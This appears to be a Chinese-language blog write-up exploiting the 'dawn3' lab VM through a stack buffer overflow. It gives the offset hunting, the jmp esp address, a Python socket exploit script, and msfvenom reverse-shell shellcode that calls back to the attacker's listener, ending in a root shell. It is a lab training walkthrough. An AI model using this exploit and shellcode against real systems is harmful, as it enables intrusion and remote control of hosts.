dawn3 靶机

dawn3 靶机

这台靶机本质上和 Brainpan1 是基本一致的,无论是利用手法,还是思路,基本一样,属于缓冲区溢出漏洞的经典例子,建议结合红队笔记对于 Brainpan1的讲解仔细消化。

信息收集

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/Downloads/dawn3]
└─$ sudo nmap --min-rate 10000 -p- 192.168.56.148
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-09 01:27 EDT
Nmap scan report for 192.168.56.148
Host is up (0.00036s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
2100/tcp open amiganetfs
6812/tcp filtered unknown
MAC Address: 08:00:27:06:69:F3 (Oracle VirtualBox virtual NIC)

开放了 2100, 6812 端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(kali㉿kali)-[~/Downloads/dawn3]
└─$ sudo nmap -sT -sV -sC -O -p2100,6812 192.168.56.148
[sudo] password for kali:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-09 03:45 EDT
Nmap scan report for 192.168.56.148
Host is up (0.00032s latency).

PORT STATE SERVICE VERSION
2100/tcp open ftp pyftpdlib 1.5.6
| ftp-syst:
| STAT:
| FTP server status:
| Connected to: 192.168.56.148:2100
| Waiting for username.
| TYPE: ASCII; STRUcture: File; MODE: Stream
| Data connection closed.
|_End of status.
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwsrwxrwx 1 dawn3 dawn3 292728 Mar 08 2020 dawn3.exe [NSE: writeable]
6812/tcp open unknown
MAC Address: 08:00:27:06:69:F3 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop

FTP 可匿名登录,操作系统是 Linux ,寻找敏感文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali㉿kali)-[~/Downloads/dawn3]
└─$ ftp 192.168.56.148 2100
Connected to 192.168.56.148.
220 pyftpdlib 1.5.6 ready.
Name (192.168.56.148:kali): anonymous
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> binary
200 Type set to: Binary.
ftp> ls
229 Entering extended passive mode (|||44611|).
125 Data connection already open. Transfer starting.
-rwsrwxrwx 1 dawn3 dawn3 292728 Mar 08 2020 dawn3.exe
226 Transfer complete.

发现了一个 exe 文件,下载到本地查看

1
2
3
┌──(kali㉿kali)-[~/Downloads/dawn3]
└─$ file dawn3.exe
dawn3.exe: PE32 executable (console) Intel 80386, for MS Windows, 15 sections

32 位 Windows 操作系统的可执行文件格式,控制台应用程序,x86 架构。

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/Downloads/dawn3]
└─$ binwalk dawn3.exe

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 Microsoft executable, portable (PE)
10995 0x2AF3 mcrypt 2.5 encrypted data, algorithm: "nitializeCriticalSection", keysize: 973 bytes, mode: "L",
257837 0x3EF2D mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: MD5 hash
257932 0x3EF8C mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: 4bit

程序应该问题不大,不过还是建议在虚拟机里运行,而且测试发现 win11 上运行该程序可能会有异常,之后是在 Windows7 上运行测试的

缓冲区溢出漏洞

strings 查看可读字符

对于输入的参数,没有过滤,可能存在缓冲区溢出漏洞。这里尝试了一下 200 字符作为输入

会直接打印,那接下来手动进行测试

1
2
3
4
5
python2 -c 'print "A"*500'

python2 -c 'print "A"*600'

telnet 192.1.1.155 6812

输入 600 字符时,程序崩溃

使用 Brianpan1 靶机的脚本,略微修改一下来测试此程序。前面我们已经确定了 600 个字符时,程序崩溃,接下来我们要确定在哪一个字节的位置出现了缓冲区溢出。我们需要使用 Immunity Debugger 工具来进行操作,同时需要安装 mona 插件,在谷歌上搜就行。

使用该工具打开目标 exe,刚开始只是加载,右下角显示状态是 pause,当我们点击运行的时候,才会真正运行,右下角的状态变为Running

同时生成方便定位的 600 个字符

1
2
3
┌──(kali㉿kali)-[~/Downloads/dawn3]
└─$ msf-pattern_create -l 600
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9

脚本来自 B 站 UP 红队笔记的视频中出现的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python
import socket
import time
import sys

size = 100

try:
print "\n[+] Send evil buffer so many bytes"
buffer = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9'
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.1.1.155",6812))
s.send(buffer)
s.close()

size+=100
time.sleep(3)

except:
print "\n[+] Could not connect."
sys.exit()

再次查看 Immunity Debugger

EIP 的值,也就是指向下一条指令的地址。控制了这个位置,我们就挟持了程序的执行流

1
2
3
┌──(kali㉿kali)-[~/Downloads/dawn3]
└─$ msf-pattern_offset -l 600 -q 35724134
[*] Exact match at offset 524

也就是说在 524 位置处出现了缓冲区溢出到 EIP 寄存器中,我们可以通过指定前 524 个字符为 A,中间四个字符为 B,后面跟 72 个 C,这样的 600 字符作为输入,来查看 EIP 的值是否是 42(B 的十六进制是 42)

1
buffer = 'A'*524 + 'B'* 4 + 'C'*72

代码上只需要修改 buffer 就行

这样我们就彻底确定了 EIP 值的可控性

接下来需要判断 ESP 的容量,因为我们之后要把代码放入其中。修改 buffer 的值,我们看看 C 字符在堆栈信息中的首尾值

1
buffer = 'A'*524 + 'B'* 4 + 'C'*600

相减得到容量字节数为 492,是足够我们存放代码的

下一步我们要确定是否有坏字节的问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(kali㉿kali)-[~/Downloads/dawn3]
└─$ git clone https://github.com/cytopia/badchars.git
Cloning into 'badchars'...
remote: Enumerating objects: 68, done.
remote: Counting objects: 100% (68/68), done.
remote: Compressing objects: 100% (48/48), done.
remote: Total 68 (delta 26), reused 46 (delta 15), pack-reused 0
Receiving objects: 100% (68/68), 29.01 KiB | 430.00 KiB/s, done.
Resolving deltas: 100% (26/26), done.

┌──(kali㉿kali)-[~/Downloads/dawn3/badchars]
└─$ ./badchars -f ruby
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" +
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" +
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" +
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" +
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" +
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" +
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" +
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" +
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" +
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" +
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" +
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" +
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" +
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" +
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" +
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

将其复制到脚本文件中,然后修改 buffer 的值

可以看到整齐得排列,证明了没有坏字节

接下来是考虑如何定位 ESP 的位置,因为在程序运行前 ESP 的位置是不确定的,我们希望通过 EIP 来重定向到 ESP,这里借助于 jump esp 语句,我们使用 msf-nasm_shell 工具来得到语句对应的操作码。我们还需要在这个程序中寻找包含 jmp esp 指令的位置

1
2
3
4
┌──(kali㉿kali)-[~/Downloads/Brainpan1]
└─$ msf-nasm_shell
nasm > jmp esp
00000000 FFE4 jmp esp

我们先列出所有的模块

从 Module info 这个列表中可以看出来有四种安全机制:
Rebase(重定位):重定位是一种操作系统和程序加载器的特性,允许将共享的库和可执行文件加载到内存中的不同位置,以防止地址空间的冲突。重定位可以提高系统的安全性,防止一些攻击,如基于地址的攻击。
SafeSEH(安全异常处理链表):在 Windows 操作系统中,SafeSEH 是一种保护机制,用于检测和阻止异常处理链表被利用用于漏洞利用。它可以帮助防止 SEH(Structured Exception Handling)覆盖攻击。
ASLR(地址空间布局随机化):ASLR 是一种操作系统的安全特性,通过随机化加载程序和库的内存位置,来防止攻击者预测这些位置。这可以减少缓冲区溢出和代码注入等攻击的成功率。
NXCompat(不可执行内存保护):NXCompat 是一种硬件和操作系统级别的安全特性,阻止内存中的数据被当作代码执行。这可以防止缓冲区溢出等漏洞被利用来执行恶意代码。

而图片中显示四种安全机制都没有开启,那我们放心得寻找 jmp esp 指令的操作码所在的位置 !mona find -s "\xff\xe4" -m dawn3.exe

注意这里由于目前大部分计算机采用的都是小端模式,因此这里要按字节倒序来将地址写入到 EIP 中。

1
'\x13\x15\x50\x52'

接下来生成 shellcode,因为现在运行的虚拟机是 Windows 的,生成 shellcode 也得指定为 windows/shell_reverse_tcp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(kali㉿kali)-[~/Downloads/dawn3]
└─$ sudo msfvenom -p windows/shell_reverse_tcp LHOST=192.1.1.128 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1506 bytes
unsigned char buf[] =
"\xbe\xa8\x70\x9a\xaa\xd9\xc3\xd9\x74\x24\xf4\x5f\x2b\xc9"
"\xb1\x52\x31\x77\x12\x03\x77\x12\x83\x47\x8c\x78\x5f\x6b"
"\x85\xff\xa0\x93\x56\x60\x28\x76\x67\xa0\x4e\xf3\xd8\x10"
"\x04\x51\xd5\xdb\x48\x41\x6e\xa9\x44\x66\xc7\x04\xb3\x49"
"\xd8\x35\x87\xc8\x5a\x44\xd4\x2a\x62\x87\x29\x2b\xa3\xfa"
"\xc0\x79\x7c\x70\x76\x6d\x09\xcc\x4b\x06\x41\xc0\xcb\xfb"
"\x12\xe3\xfa\xaa\x29\xba\xdc\x4d\xfd\xb6\x54\x55\xe2\xf3"
"\x2f\xee\xd0\x88\xb1\x26\x29\x70\x1d\x07\x85\x83\x5f\x40"
"\x22\x7c\x2a\xb8\x50\x01\x2d\x7f\x2a\xdd\xb8\x9b\x8c\x96"
"\x1b\x47\x2c\x7a\xfd\x0c\x22\x37\x89\x4a\x27\xc6\x5e\xe1"
"\x53\x43\x61\x25\xd2\x17\x46\xe1\xbe\xcc\xe7\xb0\x1a\xa2"
"\x18\xa2\xc4\x1b\xbd\xa9\xe9\x48\xcc\xf0\x65\xbc\xfd\x0a"
"\x76\xaa\x76\x79\x44\x75\x2d\x15\xe4\xfe\xeb\xe2\x0b\xd5"
"\x4c\x7c\xf2\xd6\xac\x55\x31\x82\xfc\xcd\x90\xab\x96\x0d"
"\x1c\x7e\x38\x5d\xb2\xd1\xf9\x0d\x72\x82\x91\x47\x7d\xfd"
"\x82\x68\x57\x96\x29\x93\x30\x59\xac\x9a\x40\x31\xad\x9c"
"\x41\x79\x38\x7a\x2b\x6d\x6d\xd5\xc4\x14\x34\xad\x75\xd8"
"\xe2\xc8\xb6\x52\x01\x2d\x78\x93\x6c\x3d\xed\x53\x3b\x1f"
"\xb8\x6c\x91\x37\x26\xfe\x7e\xc7\x21\xe3\x28\x90\x66\xd5"
"\x20\x74\x9b\x4c\x9b\x6a\x66\x08\xe4\x2e\xbd\xe9\xeb\xaf"
"\x30\x55\xc8\xbf\x8c\x56\x54\xeb\x40\x01\x02\x45\x27\xfb"
"\xe4\x3f\xf1\x50\xaf\xd7\x84\x9a\x70\xa1\x88\xf6\x06\x4d"
"\x38\xaf\x5e\x72\xf5\x27\x57\x0b\xeb\xd7\x98\xc6\xaf\xe8"
"\xd2\x4a\x99\x60\xbb\x1f\x9b\xec\x3c\xca\xd8\x08\xbf\xfe"
"\xa0\xee\xdf\x8b\xa5\xab\x67\x60\xd4\xa4\x0d\x86\x4b\xc4"
"\x07";

使用生成的代码是进行了混淆和编码的,需要留出解码的空间位置(填充物,填充未使用的缓冲区,用于控制溢出地址的位置,一般使用 nop 指令填充——0x90 表示。)。修改代码为:

提前开启监听,反弹 shell 成功

我们前期信息收集已经得知了目标是 Linux,所以我们需要把 shellcode 修改为 Linux 的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~/Downloads/dawn3]
└─$ sudo msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.106 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of c file: 425 bytes
unsigned char buf[] =
"\xd9\xcd\xbd\xc2\x91\xc4\x0b\xd9\x74\x24\xf4\x58\x2b\xc9"
"\xb1\x12\x31\x68\x17\x03\x68\x17\x83\x2a\x6d\x26\xfe\x9b"
"\x55\x50\xe2\x88\x2a\xcc\x8f\x2c\x24\x13\xff\x56\xfb\x54"
"\x93\xcf\xb3\x6a\x59\x6f\xfa\xed\x98\x07\x3d\xa5\x63\xbd"
"\xd5\xb4\x93\x40\x9d\x30\x72\xf2\x87\x12\x24\xa1\xf4\x90"
"\x4f\xa4\x36\x16\x1d\x4e\xa7\x38\xd1\xe6\x5f\x68\x3a\x94"
"\xf6\xff\xa7\x0a\x5a\x89\xc9\x1a\x57\x44\x89";

注意修改 IP 为目标靶机的 IP,修改后的代码为

反弹 shell

提前开启监听

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(kali㉿kali)-[~/Downloads/dawn3]
└─$ sudo nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.56.106] from (UNKNOWN) [192.168.56.148] 59420
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
ls
root.txt
cat root.txt
Thanks for playing! - Felipe Winsnes (@whitecr0wz)

3ca74b4afc790b46ff47fc2db5676b4f
which python
/usr/bin/python
python -c "import pty;pty.spawn('/bin/bash')"
root@dawn3:/root# ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 08:00:27:06:69:f3 brd ff:ff:ff:ff:ff:ff
inet 192.168.56.148/24 brd 192.168.56.255 scope global dynamic enp0s3
valid_lft 439sec preferred_lft 439sec
inet6 fe80::a00:27ff:fe06:69f3/64 scope link
valid_lft forever preferred_lft forever
root@dawn3:/root# uname -a
uname -a
Linux dawn3 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64 GNU/Linux
root@dawn3:/root# sudo -l
sudo -l
bash: sudo: command not found

直接就是 root,结束战斗

参考链接

「红队笔记」靶机精讲:Brainpan1 - 缓冲区溢出典型利用过程,让你一次吃透。_哔哩哔哩_bilibili

SUNSET: DAWN3 打靶过程 - 哔哩哔哩 (bilibili.com)


dawn3 靶机
https://i3eg1nner.github.io/2023/10/4a11524f2c39.html
作者
I3eg1nner
发布于
2023年10月9日
许可协议